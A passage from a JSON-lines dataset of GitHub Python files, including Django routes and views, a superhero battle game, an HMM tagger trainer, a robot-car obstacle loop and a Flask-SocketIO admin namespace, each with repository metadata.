import urlpatterns as notification_urlpatterns\nfrom scan.urls import urlpatterns as scan_urlpatterns\nfrom taganomy.urls import urlpatterns as taganomy_urlpatterns\nfrom entity.views import FileUploader, FileDownloader\n\nrouter = SimpleRouter()\n\n# Organizer end-points\nrouter.register(r'events', EventViewSet, base_name='events')\nrouter.register(r'tables', TableViewSet, base_name='tables')\nrouter.register(r'speakers', SpeakerViewSet, base_name='speakers')\nrouter.register(r'sponsors', SponsorViewSet, base_name='sponsors')\nrouter.register(r'media', MediaEntitiesViewSet, base_name='media')\nrouter.register(r'exhibitors', ExhibitorViewSet, base_name='exhibitors')\nrouter.register(r'attendees', AttendeeViewSet, base_name='attendees')\nrouter.register(r'taganomy', TaganomyViewSet, base_name='taganomy')\nrouter.register(r'agenda', AgendaViewSet, base_name='agenda')\nagenda_item_router = routers.NestedSimpleRouter(router, r'agenda', lookup='agenda')\nagenda_item_router.register(r'agenda_item', AgendaItemViewSet, base_name='agenda-item')\n\n# Exhibitor End-points\nrouter.register(r'exhibitor_events', ExhibitorEventViewSet, base_name='exhibitor_events')\nrouter.register(r'coowners', CoOwnerViewSet, base_name='owners')\nrouter.register(r'campaigns', CampaignViewSet, base_name='campaigns')\ncampaigns_router = routers.NestedSimpleRouter(router, r'campaigns', lookup='campaigns')\ncampaigns_router.register(r'media', CampaignMediaViewSet, base_name='campaign-media')\n\n# nested end-points for all applicable sub-entities\n\n# organizer nested\nevents_router = routers.NestedSimpleRouter(router, r'events', lookup='event')\nevents_router.register(r'exhibitors', EventExhibitorViewSet, base_name='event-exhibitors')\nevents_router.register(r'speakers', EventSpeakerViewSet, base_name='event-speaker')\nevents_router.register(r'sponsors', EventSponsorViewSet, base_name='event-sponsor')\nevents_router.register(r'media', EventMediaViewSet, base_name='event-media')\nevents_router.register(r'attendees', EventAttendeeViewSet, base_name='event-attendees')\nevents_router.register(r'agenda', EventAgendaViewSet, base_name='event-agenda')\nevents_router.register(r'poll', EventPollViewSet, base_name='event-poll')\nevents_router.register(r'notification', EventNotificationViewSet, base_name='event-notification')\nevents_router.register(r'taganomy', EventTaganomyViewSet, base_name='event-tagonomy')\nevents_router.register(r'badge', EventBadgeViewSet, base_name='event-badge')\n\n\n# Exhibitor Nested\nevents_router.register(r'campaigns', EventCampaignViewSet, base_name='event-campaigns')\n\ncampaigns_router = routers.NestedSimpleRouter(router, r'campaigns', lookup='campaigns')\ncampaigns_router.register(r'media', CampaignMediaViewSet, base_name='campaign-media')\ncampaigns_router.register(r'coowners', CampaignCoOwnerViewSet, base_name='campaign-coowner')\ncampaigns_router.register(r'scans', CampaignScansViewSet, base_name='campaign-scans')\n\n\nurlpatterns = [\n url(r'^', include(router.urls)),\n url(r'^', include(events_router.urls)),\n url(r'^', include(agenda_item_router.urls)),\n url(r'^', include(campaigns_router.urls)),\n url(r'^upload/(?P[^/]+)$', FileUploader.as_view()),\n url(r'^download$', FileDownloader.as_view())\n]\n\nurlpatterns += poll_urlpatterns\nurlpatterns += scan_urlpatterns\nurlpatterns += notification_urlpatterns\nurlpatterns += taganomy_urlpatterns\n","repo_name":"wizcarder/wizcard-server","sub_path":"entity/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":4276,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"72415442293","text":"import store\nfrom store import Inventory, Item, OutOfStockError\n\ninvetory = store.Inventory()\n\ninvetory.add_item(store.Item(\"Milk\", 0))\n\ninvetory.print_items()\n\ntry:\n invetory.remove_item('Milk')\nexcept (store.OutOfStockError, ValueError) as e:\n print(e)\n ","repo_name":"pmoschos/pythonCF4","sub_path":"ch06/store_app.py","file_name":"store_app.py","file_ext":"py","file_size_in_byte":265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32764237972","text":"import os\nimport zipfile\n\nos.chdir('/home/hero/git/python-project/chp9')\nexample_zip = zipfile.ZipFile('example.zip')\n\nprint(example_zip.namelist())\n\nspam_info = example_zip.getinfo('example/spam.txt')\nprint(spam_info.file_size)\nprint(spam_info.compress_size)\nprint('Compressed file is %sx smaller!' % (round(spam_info.file_size / spam_info.compress_size, 2)))\nexample_zip.close()","repo_name":"zyq5428/python-project","sub_path":"chp9/zip_test.py","file_name":"zip_test.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"74861244851","text":"import pytz\nfrom datetime import datetime\nfrom . import Basemodule\n\nclass TimeModule(Basemodule):\n timezone = None\n refreshrate = 10\n\n def configure(self, config):\n super(TimeModule, self).configure(config)\n if config and 'timezone' in self.config:\n self.timezone = self.config['timezone']\n else:\n self.timezone = 'utc'\n\n def render(self):\n tz = pytz.timezone(self.timezone)\n t = datetime.now(tz)\n time = t.strftime('%H:%M')\n date = t.strftime('%d.%m.%Y')\n\n return {\"time\": time, \"date\": date, \"timezone\": str(self.timezone).upper() }","repo_name":"tspycher/python-dashaggregator","sub_path":"dashaggregator/modules/timemodule.py","file_name":"timemodule.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4116633740","text":"from alpaca_image import AlpacaImage\nfrom typing import List, Dict\n\n# https://alpaca.markets/docs/api-references/market-data-api/news-data/historical/\n\n\nclass AlpacaNews():\n \"\"\"Alpaca's definition of a news article\n\n JSON Example:\n {\n \"id\": 24803233,\n \"headline\": \"Benzinga's Top 5 Articles For 2021 — Or 'Who Let The Dog Out?'\",\n \"author\": \"Sue Strachan\",\n \"created_at\": \"2021-12-29T15:11:03Z\",\n \"updated_at\": \"2021-12-30T20:37:41Z\",\n \"summary\": \"2021 may have been the Year of the Ox in the Chinese calendar, but for Benzinga, it was the Year of the Dog, or should we say, Year of the Dogecoin (CRYPTO: DOGE).\",\n \"content\": \"

2021 may have been the Year of the Ox in the Chinese calendar, but for Benzinga, it was the Year of the Dog, or should we say, Year of the Dogecoin (CRYPTO: DOGE).

\\r\\n\\r\\n

The memecoin created in 2013....\",\n \"images\": [\n {\n \"size\": \"large\",\n \"url\": \"https://cdn.benzinga.com/files/imagecache/2048x1536xUP/images/story/2012/doge_12.jpg\"\n },\n {\n \"size\": \"small\",\n \"url\": \"https://cdn.benzinga.com/files/imagecache/1024x768xUP/images/story/2012/doge_12.jpg\"\n },\n {\n \"size\": \"thumb\",\n \"url\": \"https://cdn.benzinga.com/files/imagecache/250x187xUP/images/story/2012/doge_12.jpg\"\n }\n ],\n \"symbols\": [\n \"AMZN\",\n \"BTCUSD\",\n \"COIN\",\n \"DOGEUSD\",\n \"SPCE\",\n \"TSLA\",\n \"TWTR\"\n ],\n \"source\": \"benzinga\"\n }\n \"\"\"\n\n def __init__(\n self,\n id: str,\n headline: str,\n author: str,\n created_at: str,\n updated_at: str,\n summary: str,\n content: str,\n symbols: List[str],\n source: str,\n ):\n self.id = id\n self.headline = headline\n self.author = author\n self.created_at = created_at\n self.updated_at = updated_at\n self.summary = summary\n self.content = content\n self.symbols = symbols\n self.source = source\n\n def __str__(self) -> str:\n return \"[ \" + str(self.id) + \" | \" + str(self.headline) + \" | \" + str(self.author) + \" | \" + str(self.summary) + \" | \" + str(self.content) + \" | \" + str(self.tickers) + \" | \" + str(self.source) + \" ]\"\n\n\nif __name__ == \"__main__\":\n import doctest\n doctest.testmod()\n","repo_name":"a-wallen/stm-toolkit","sub_path":"models/alpaca_news.py","file_name":"alpaca_news.py","file_ext":"py","file_size_in_byte":2588,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72495390452","text":"import random \nimport superhero\n\nclass Ability:\n def __init__(self, name, attack_strength):\n self.name = name\n self.max_damage = attack_strength\n \n\n def attack(self):\n ''' Return a value between 0 and the \n value set by self.max_damage.'''\n return random.randint(0, self.max_damage) \n\nclass Armor:\n def __init__(self, name, max_block):\n self.name = name\n self.max_block = max_block\n def block(self):\n ''' Return a value between 0 and the \n value set by self.max_damage.'''\n return random.randint(0, self.max_block) \n\nclass Hero():\n def __init__(self, name, starting_health=100):\n self.name = name\n self.starting_health = starting_health\n self.current_health = starting_health\n self.abilities = list()\n self.armors = list()\n self.deaths = 0\n self.kills = 0\n def add_ability(self, ability):\n self.abilities.append(ability)\n def add_weapons(self, weapon):\n self.abilities.append(weapon)\n\n def attack(self):\n '''Calculate the total damage from all ability attacks.\n return: total:Int\n '''\n damage_val = 0\n for ability in self.abilities:\n attack = ability.attack() + damage_val\n damage_val = attack\n\n return damage_val\n def add_armor(self, armor):\n '''Add armor to self.armors\n Armor: Armor Object\n '''\n self.armors.append(armor)\n def defend(self):\n defense_val = 0\n for armor in self.armors:\n blocked = armor.block() + defense_val\n defense_val = blocked \n return defense_val\n def take_damage(self, damage):\n defend = self.defend() \n if damage - defend > 0:\n dmg_amount = damage - defend\n else: \n dmg_amount = 0\n self.current_health = self.current_health - dmg_amount\n return self.current_health\n def is_alive(self):\n if self.current_health <= 0:\n return False\n else:\n return True\n def add_kills(self):\n self.kills += 1\n \n def add_deaths(self):\n self.deaths += 1\n\n def fight(self, opponent):\n self_alive = True\n opp_alive = True\n draw = False \n while self_alive == True and opp_alive == True:\n self_alive = self.is_alive()\n opp_alive = opponent.is_alive()\n if self.abilities == [] and opponent.abilities == []:\n print(f\"You have run out of abilities\")\n return draw == True\n opponent.take_damage(self.attack())\n opp_alive = opponent.is_alive()\n self.take_damage(opponent.attack())\n self_alive = self.is_alive()\n\n if self_alive == True and opp_alive == False:\n print(self.name, \"has won\")\n self.add_kills()\n opponent.add_deaths()\n\n elif self_alive == False and opp_alive == True:\n print(opponent.name, \"has won\")\n opponent.add_kills()\n self.add_deaths()\n elif self_alive == False and opp_alive == False:\n print(\"Both dead\")\nclass Weapon(Ability):\n def attack(self):\n return random.randint(self.max_damage//2, self.max_damage) \nclass Team():\n def __init__(self, name):\n self.name = name\n self.heros = [] \n def remove_hero(self, name):\n if name in self.heros:\n return self.heros.remove(name)\n else:\n return 0\n def view_all_heros(self):\n for hero in self.heros:\n print(hero.name)\n def add_hero(self, hero):\n self.hero = hero\n self.heros.append(hero)\n def attack(self, other_team):\n self.self_hero = random.choice(self.heros)\n self.opp_hero = random.choice(other_team.heros)\n Hero.fight(self.self_hero, self.opp_hero)\n def revive_heroes(self, health=100):\n current_health = health\n def stats(self):\n for hero in self.heros:\n print(f\"Kills: {hero.kills} Deaths: {hero.deaths} k / d : {hero.kills} / {hero.deaths}\")\nclass Arena:\n def __init__(self):\n self.team_one = []\n self.team_two = []\n def create_ability(self):\n '''Prompt for Ability information.\n return Ability with values from user Input\n '''\n ability = Ability(input(\"Name ability? \"), int(input(\"Strength value?\")))\n return ability\n \n def create_weapon(self):\n weapon = Weapon(input(\"Name weapon? \"), int(input(\"Strength value?\")))\n return weapon \n\n def create_armor(self):\n armor = Armor(input(\"Name armor? \"), int(input(\"Strength value?\")))\n return armor \n\n def create_hero(self):\n hero = Hero(input(\"Name Hero? \"))\n number = int(input(\"How many abilities?\"))\n for i in range(number):\n ability = self.create_ability()\n hero.add_ability(ability)\n number = int(input(\"How many weapons?\"))\n for i in range(number):\n weapon = self.create_weapon()\n hero.add_ability(weapon)\n number = int(input(\"How much armor?\"))\n for i in range(number):\n armor = self.create_armor()\n hero.add_armor(armor)\n return hero \n\n def build_team_one(self):\n self.team_one = Team(input(\"Team name?\"))\n \n number = int(input(\"How many heros do you want?\"))\n for i in range(number):\n hero = self.create_hero()\n self.team_one.add_hero(hero)\n return self.team_one\n\n def build_team_two(self):\n self.team_two = Team(input(\"Team name?\"))\n \n number = int(input(\"How many heros do you want?\"))\n for i in range(number):\n hero = self.create_hero()\n self.team_two.add_hero(hero)\n return self.team_two\n def team_battle(self):\n self.team_one = self.build_team_one()\n self.team_two = self.build_team_two()\n return self.team_one.attack(self.team_two)\n def show_stats(self):\n print(f\"{self.team_one.name} stats: \")\n self.team_one.stats()\n print(f\"{self.team_two.name} stats: \")\n self.team_two.stats()\n\n\n\n\n\n\n \n\n \n\n\n\n\n\n\n\n\nif __name__ == \"__main__\":\n # If you run this file from the terminal\n # this block is executed.\n # hero1 = Hero(\"Wonder Woman\")\n # hero2 = Hero(\"Dumbledore\")\n # ability1 = Ability(\"Super Speed\", 3)\n # ability2 = Ability(\"Super Eyes\", 1)\n # ability3 = Ability(\"Wizard Wand\", 8000)\n # ability4 = Ability(\"Wizard Beard\", 2000)\n # hero1.add_ability(ability1)\n # hero1.add_ability(ability2)\n # hero2.add_ability(ability3)\n # hero2.add_ability(ability4)\n # hero1.fight(hero2)\n\n ''' game test '''\n # arena = Arena()\n # arena.build_team_one()\n # arena.build_team_two()\n # arena.team_battle()\n # arena.show_stats()\n\n game_is_running = True\n\n # Instantiate Game Arena\n arena = Arena()\n\n #Build Teams\n # arena.build_team_one()\n # arena.build_team_two()\n\n while game_is_running:\n\n arena.team_battle()\n arena.show_stats()\n play_again = input(\"Play Again? Y or N: \")\n\n #Check for Player Input\n if play_again.lower() == \"n\":\n game_is_running = False\n\n else:\n #Revive heroes to play again\n arena.team_one.revive_heroes()\n arena.team_two.revive_heroes()\n","repo_name":"lukeaparker/super-hero-team-dueler-","sub_path":"superhero.py","file_name":"superhero.py","file_ext":"py","file_size_in_byte":7455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73779750453","text":"import glob\nimport nltk\nfrom collections import Counter,OrderedDict\nimport json\nfrom copy import deepcopy\nimport io\n\nf = open(\"./Training set_HMM.txt\")\n\nall_words = []\nx = f.read().splitlines()\nfor line in x:\n words = line.split('\\t')\n for w in words:\n if(w!=''):\n all_words.append(w)\n\nvocab={} ### maintains words and their occurence counts\nall_tags={} ### maintains tags and their occurence counts \ntags_words_bigram={} ## dictionary with tags as key and list as value with all the words having that tag\ntags_tags_bigram={} ## dictionary with tag(i-1) and tag(i); tag(i-1) is the key and value is array of tag(i)\n\ni=1\nprev_tag = ''\nwhile((i)=2):\n prev_tag = all_words[i-2]\n if(word=='.' or word=='?' or word=='!'):\n word=''\n if(tag=='.' or tag=='?' or tag=='!'):\n tag=''\n if(tag in tags_words_bigram):\n tags_words_bigram[tag].append(word)\n else:\n tags_words_bigram[tag]=[]\n tags_words_bigram[tag].append(word)\n if(prev_tag in tags_tags_bigram):\n tags_tags_bigram[prev_tag].append(tag)\n else:\n tags_tags_bigram[prev_tag]=[]\n tags_tags_bigram[prev_tag].append(tag)\n i+=2\ntags_tags_bigram['']=[]\n\nif('.' in tags_tags_bigram):\n for tag in tags_tags_bigram['.']:\n tags_tags_bigram[''].append(tag)\nif('!' in tags_tags_bigram):\n for tag in tags_tags_bigram['!']:\n tags_tags_bigram[''].append(tag)\nif('?' in tags_tags_bigram):\n for tag in tags_tags_bigram['?']:\n tags_tags_bigram[''].append(tag)\ntags_tags_bigram.pop('!',None)\ntags_tags_bigram.pop('.',None)\ntags_tags_bigram.pop('?',None)\n\ncount_tag_tag={} ## key = tag, value is dict with key as tag and value as count\ncount_tag_output={} ## key = tag, value is dict with key as output and value as count\n\n## creating count_tag_tag\nfor item in tags_tags_bigram:\n count_tag_tag[item]={}\n for i in tags_tags_bigram:\n count_tag_tag[item][i]=0\nfor item in tags_tags_bigram:\n for occurence in tags_tags_bigram[item]:\n if(occurence in count_tag_tag[item]):\n count_tag_tag[item][occurence]+=1\n else:\n count_tag_tag[item][occurence]=0\n\n### normalise to get probab\nfor item in count_tag_tag:\n sum = 0\n for occur_tag in count_tag_tag[item]:\n sum+=(count_tag_tag[item][occur_tag]+1)\n for occur_tag in count_tag_tag[item]:\n if(sum!=0):\n count_tag_tag[item][occur_tag]+=1\n count_tag_tag[item][occur_tag]/=sum\n else:\n print(\"tag: \"+item+\" occur_tag: \"+occur_tag+\" Jeter\") ## Comment\n\n## initialisation of tag output dict prob\nfor i in tags_tags_bigram:\n count_tag_output[i]={}\n for item in vocab:\n if(item=='.' or item=='!' or item=='?'):\n item = ''\n count_tag_output[i][item]=0\n\nfor i in tags_tags_bigram:\n for occurence in tags_words_bigram[i]:\n if(occurence in count_tag_output[i]):\n count_tag_output[i][occurence]+=1\n else:\n print(occurence in vocab)\n print(i+\" \"+occurence+ \" Not there\")\n\nsum_for_tag_op={}\nfor item in count_tag_output:\n sum=0\n for occur_word in count_tag_output[item]:\n sum+=(count_tag_output[item][occur_word]+1)\n sum_for_tag_op[item]=sum\n\nwith open('./Data/vocab.json','w') as fp:\n json.dump(vocab, fp)\nwith open('./Data/all_tags.json','w') as fp:\n json.dump(all_tags, fp)\nwith open('./Data/tags_words_bigram.json','w') as fp:\n json.dump(tags_words_bigram,fp)\nwith open('./Data/tags_tags_bigram.json','w') as fp:\n json.dump(tags_tags_bigram,fp)\nwith open('./Data/count_tag_tag.json','w') as fp:\n json.dump(count_tag_tag,fp)\nwith open('./Data/count_tag_output.json','w') as fp:\n json.dump(count_tag_output,fp)\nwith open('./Data/sum_for_tag_op.json','w') as fp:\n json.dump(sum_for_tag_op,fp)","repo_name":"BaaniLeen/Parts-of-Speech-Tagger","sub_path":"Train.py","file_name":"Train.py","file_ext":"py","file_size_in_byte":4081,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"14782623794","text":"'''\nhttps://leetcode.com/problems/island-perimeter/\n\nYou are given a map in form of a two-dimensional integer grid where 1 represents land and 0 represents water. Grid cells are connected horizontally/vertically (not diagonally). The grid is completely surrounded by water, and there is exactly one island (i.e., one or more connected land cells). The island doesn't have \"lakes\" (water inside that isn't connected to the water around the island). One cell is a square with side length 1. The grid is rectangular, width and height don't exceed 100. Determine the perimeter of the island.\n\nExample:\n\n[[0,1,0,0],\n [1,1,1,0],\n [0,1,0,0],\n [1,1,0,0]]\n\nAnswer: 16\n'''\n\n\nclass Solution(object):\n def islandPerimeter(self, grid):\n \"\"\"\n :type grid: List[List[int]]\n :rtype: int\n \"\"\"\n n, m = len(grid), len(grid[0]) if grid else 0\n p = 0\n for i in xrange(n):\n for j in xrange(m):\n if grid[i][j] == 1:\n s = 0\n for dx, dy in ((-1, 0), (1, 0), (0, 1), (0, -1)):\n if 0 <= i + dx < n and 0 <= j + dy < m:\n s += grid[i + dx][j + dy]\n p += 4 - s\n return p\n\n\nif __name__ == '__main__':\n f = Solution().islandPerimeter\n grid = [[0,1,0,0],\n [1,1,1,0],\n [0,1,0,0],\n [1,1,0,0]]\n assert f(grid) == 16\n","repo_name":"irachex/leetcode","sub_path":"island-perimeter.py","file_name":"island-perimeter.py","file_ext":"py","file_size_in_byte":1413,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"23984500472","text":"from django.views.generic.edit import FormView\nfrom ..models import Schedule\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.conf import settings\nfrom django.urls import reverse_lazy\nfrom ..forms import ScheduleForm\nfrom django.contrib import messages\nfrom django.utils.translation import gettext as _\n\n\n# View for editing a schedules\n# using the generic FormView\nclass EditSchedule(LoginRequiredMixin, FormView):\n login_url = getattr(settings, \"LOGIN_URL\", None)\n # Use schedule_edit template\n template_name = 'base/schedule_edit.html'\n # Use the ScheduleForm\n form_class = ScheduleForm\n # Return URL if success\n success_url = reverse_lazy('schedule')\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n if 'pk' in self.kwargs:\n pk = self.kwargs[\"pk\"]\n else:\n pk = None\n schedule = Schedule.objects.get(schedule_id=pk)\n start = schedule.start.strftime('%Y-%m-%dT%H:%M')\n end = ''\n if schedule.end:\n end = schedule.end.strftime('%Y-%m-%dT%H:%M')\n form = ScheduleForm(initial={'status': schedule.status, 'stream': schedule.stream,\n 'run_type': schedule.run_type, 'period': schedule.period,\n 'start': start,\n 'end': end})\n context['form'] = form\n return context\n\n # if form is invalid\n def form_invalid(self, form):\n messages.error(self.request, _('Form is not valid.'))\n return super().form_invalid(form)\n\n # if form is valid\n def form_valid(self, form):\n try:\n # Check of form is valid and save\n if form.is_valid():\n pk = None\n if 'pk' in self.kwargs:\n pk = self.kwargs[\"pk\"]\n schedule = Schedule.objects.get(pk=pk)\n schedule.stream = form.cleaned_data['stream']\n schedule.start = form.cleaned_data['start']\n schedule.end = form.cleaned_data['end']\n schedule.period = form.cleaned_data['period']\n schedule.status = form.cleaned_data['status']\n schedule.run_type = form.cleaned_data['run_type']\n schedule.save()\n else:\n # If not valid returns default page with error msg\n messages.error(self.request, _('Form is not valid.'))\n return super().form_invalid()\n except:\n # If unkown error returns default page with error msg\n messages.error(self.request, _('There was an error in the database.'))\n return super().form_invalid(form)\n else:\n # If no error returns default page with info\n messages.info(self.request, _('Info added to the database.'))\n return super().form_valid(form)\n\n\n","repo_name":"Marcelectronic/rannsaka","sub_path":"base/views/editschedule.py","file_name":"editschedule.py","file_ext":"py","file_size_in_byte":2930,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"30570645271","text":"import picar_4wd as fc\nimport time\nimport random\n\nspeed = 20\n\ndef test():\n fc.forward(speed)\n while True:\n # Find distance, then turn right if close\n distance = fc.get_distance_at(0)\n print(distance)\n if distance < 12.0:\n print(\"Move back and turn right or left\")\n # Move back and turn right\n fc.backward(speed)\n time.sleep(.3)\n #randomize the turn side\n turn = random.randint(0,1)\n if turn == 0:\n fc.turn_right(speed*2)\n else:\n fc.turn_left(speed*2)\n time.sleep(2)\n # Stop and restart loop to go forward\n fc.stop()\n else:\n fc.forward(speed)\n time.sleep(.1)\n \nif __name__ == '__main__':\n try:\n test()\n except KeyboardInterrupt:\n fc.stop()\n exit(0)","repo_name":"adriennekb/cs437","sub_path":"Lab1-Part1/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34664222633","text":"import logging\nimport os\nfrom functools import wraps\nfrom threading import Thread\nfrom datetime import datetime\n\nfrom flask import current_app, render_template\nfrom flask_socketio import emit, Namespace\n\nfrom flask_socketio import join_room\nfrom flask_socketio import SocketIO\n\nfrom .apis.calendar_api import create_calendar, delete_calendar\nfrom .apis.drive_api import create_folder\nfrom .email import send_email\nfrom .models import Session, Room, Source, User, Role\nfrom .decorators import (\n auth_socket_check,\n admin_only_socket,\n admin_or_editor_only_socket,\n)\n\n\nNVR_CLIENT_URL = os.environ.get(\"NVR_CLIENT_URL\", \"*\")\n\nsocketio = SocketIO(message_queue=\"redis://\", cors_allowed_origins=NVR_CLIENT_URL)\n\n\ndef emit_broadcast(event, data):\n socketio.emit(event, data, broadcast=True, namespace=\"/websocket\")\n\n\ndef emit_room(event, data, room):\n socketio.emit(event, data, room=room, namespace=\"/websocket\")\n\n\ndef log_info(f):\n @wraps(f)\n def wrapper(*args):\n logging.getLogger(\"flask.app\").info(\n f\"Emitted function {f.__name__} with args: {args}\"\n )\n\n return f(*args)\n\n return wrapper\n\n\nclass NvrNamespace(Namespace):\n @log_info\n def emit_error(self, err):\n emit(\"error\", {\"error\": err})\n\n @auth_socket_check\n def on_join_room(self, msg_json, current_user):\n socket_room = current_user.organization_id\n join_room(socket_room)\n\n @log_info\n @auth_socket_check\n @admin_or_editor_only_socket\n def on_auto_control_change(self, msg_json, current_user):\n room_id = msg_json[\"id\"]\n auto_control_enabled = msg_json[\"auto_control\"]\n\n session = Session()\n room = session.query(Room).get(room_id)\n room.auto_control = auto_control_enabled\n socket_room = current_user.organization_id\n emit(\n \"auto_control_change\",\n {\"id\": room.id, \"auto_control\": room.auto_control, \"room_name\": room.name},\n room=socket_room,\n )\n\n session.commit()\n session.close()\n\n @log_info\n @auth_socket_check\n @admin_or_editor_only_socket\n def on_delete_room(self, msg_json, current_user):\n room_id = msg_json[\"id\"]\n\n session = Session()\n room = session.query(Room).get(room_id)\n\n Thread(target=delete_calendar, args=(room.calendar,), daemon=True).start()\n\n session.delete(room)\n session.commit()\n session.close()\n socket_room = current_user.organization_id\n emit(\"delete_room\", {\"id\": room.id, \"name\": room.name}, room=socket_room)\n\n @log_info\n @auth_socket_check\n @admin_or_editor_only_socket\n def on_add_room(self, msg_json, current_user):\n room_name = msg_json[\"name\"]\n session = Session()\n\n room = Room(name=room_name)\n room.drive = create_folder(room_name)\n\n room.sources = []\n\n session.add(room)\n session.commit()\n session.close()\n\n Thread(\n target=NvrNamespace.make_calendar,\n args=(current_app._get_current_object(), room_name),\n daemon=True,\n ).start()\n socket_room = current_user.organization_id\n emit(\"add_room\", {\"room\": room.to_dict()}, room=socket_room)\n\n @staticmethod\n def make_calendar(room_name):\n session = Session()\n room = session.query(Room).filter_by(name=room_name).first()\n room.calendar = create_calendar(room_name)\n\n session.commit()\n session.close()\n\n @log_info\n @auth_socket_check\n @admin_or_editor_only_socket\n def on_edit_room(self, msg_json, current_user):\n payload = msg_json[\"payload\"]\n room_id = payload[\"id\"]\n session = Session()\n room = session.query(Room).get(room_id)\n\n room.main_source = payload[\"main_source\"]\n room.screen_source = payload[\"screen_source\"]\n room.sound_source = payload[\"sound_source\"]\n\n # add, update\n for s in payload[\"sources\"]:\n if not s.get(\"id\"):\n source = Source(**s)\n source.room_id = room_id\n session.add(source)\n else:\n source = session.query(Source).get(s[\"id\"])\n source.update(**s)\n\n # delete\n updated_sources = [source.get(\"id\") for source in payload[\"sources\"]]\n for s in room.sources:\n if s.id not in updated_sources:\n session.delete(s)\n\n session.commit()\n socket_room = current_user.organization_id\n emit(\"edit_room\", room.to_dict(), room=socket_room)\n session.close()\n\n @log_info\n @auth_socket_check\n @admin_only_socket\n def on_delete_user(self, msg_json, current_user):\n session = Session()\n user = session.query(User).get(msg_json[\"id\"])\n socket_room = current_user.organization_id\n emit(\"delete_user\", {\"id\": user.id}, room=socket_room)\n emit(\"kick_user\", {\"email\": user.email}, room=socket_room)\n\n if user.access is False:\n send_email(\n \"[NVR] Отказано в доступе\",\n sender=current_app.config[\"ADMINS\"][0],\n recipients=[user.email],\n html_body=render_template(\"email/access_deny.html\", user=user),\n )\n\n session.delete(user)\n session.commit()\n session.close()\n\n @log_info\n @auth_socket_check\n @admin_only_socket\n def on_change_role(self, msg_json, current_user):\n session = Session()\n user = session.query(User).get(msg_json[\"id\"])\n\n role_name = msg_json[\"role\"]\n role_id = session.query(Role).filter_by(name=role_name).first().id\n user.role_id = role_id\n socket_room = current_user.organization_id\n emit(\"change_role\", {\"id\": user.id, \"role\": user.role.name}, room=socket_room)\n\n session.commit()\n session.close()\n\n @log_info\n @auth_socket_check\n @admin_only_socket\n def on_ban_user(self, msg_json, current_user):\n session = Session()\n user = session.query(User).get(msg_json[\"id\"])\n socket_room = current_user.organization_id\n emit(\"block_user\", {\"id\": user.id}, room=socket_room)\n user.banned = True\n session.commit()\n session.close()\n\n @log_info\n @auth_socket_check\n @admin_only_socket\n def on_unblock_user(self, msg_json, current_user):\n session = Session()\n user = session.query(User).get(msg_json[\"id\"])\n socket_room = current_user.organization_id\n emit(\"unblock_user\", {\"id\": user.id}, room=socket_room)\n user.banned = False\n session.commit()\n session.close()\n\n @auth_socket_check\n def on_kick_banned(self, msg_json, current_user):\n session = Session()\n email = msg_json[\"email\"]\n user = session.query(User).filter_by(email=email).first()\n socket_room = current_user.organization_id\n if user.banned:\n emit(\"kick_user\", {\"email\": user.email}, room=socket_room)\n\n session.close()\n\n @auth_socket_check\n def on_check_online(self, msg_json, current_user):\n session = Session()\n email = msg_json[\"email\"]\n user = session.query(User).filter_by(email=email).first()\n socket_room = current_user.organization_id\n emit(\"show_online\", {\"id\": user.id}, room=socket_room)\n user.last_login = datetime.utcnow()\n session.commit()\n session.close()\n\n @log_info\n @auth_socket_check\n def on_logout_online(self, msg_json, current_user):\n session = Session()\n email = msg_json[\"email\"]\n user = session.query(User).filter_by(email=email).first()\n socket_room = current_user.organization_id\n emit(\"false_online\", {\"id\": user.id}, room=socket_room)\n session.commit()\n session.close()\n\n @log_info\n @auth_socket_check\n @admin_only_socket\n def on_grant_access(self, msg_json, current_user):\n session = Session()\n user = session.query(User).get(msg_json[\"id\"])\n user.access = True\n session.commit()\n session.close()\n socket_room = current_user.organization_id\n emit(\"grant_access\", {\"id\": user.id}, room=socket_room)\n\n send_email(\n \"[NVR] Доступ открыт\",\n sender=current_app.config[\"ADMINS\"][0],\n recipients=[user.email],\n html_body=render_template(\n \"email/access_approve.html\", user=user, url=NVR_CLIENT_URL\n ),\n )\n","repo_name":"Diverso-NVR/NVR","sub_path":"backend/core/socketio.py","file_name":"socketio.py","file_ext":"py","file_size_in_byte":8537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73722354614","text":"#!/usr/bin/env python3\n\nimport json\nimport subprocess as sp\nfrom pprint import pprint\nimport sys\n\nclass Links:\n def __init__(self, d):\n self.links = []\n self.links_by_ifindex = {}\n self.links_by_ifname = {}\n for link in d:\n self.links.append(link)\n ifindex = link[\"ifindex\"]\n self.links_by_ifindex[ifindex] = link\n ifname = link[\"ifname\"]\n self.links_by_ifname[ifname] = link\n\n assert len(self.links) == len(self.links_by_ifindex)\n assert len(self.links) == len(self.links_by_ifname)\n\nclass Namespaces:\n def __init__(self, d):\n self.namespaces = []\n self.namespaces_by_ns = {}\n self.namespaces_by_netnsid = {}\n for ns_info in d[\"namespaces\"]:\n self.namespaces.append(ns_info)\n ns = ns_info[\"ns\"]\n self.namespaces_by_ns[ns] = ns_info\n netnsid = ns_info[\"netnsid\"]\n if netnsid != \"unassigned\":\n self.namespaces_by_netnsid[int(netnsid)] = ns_info\n assert 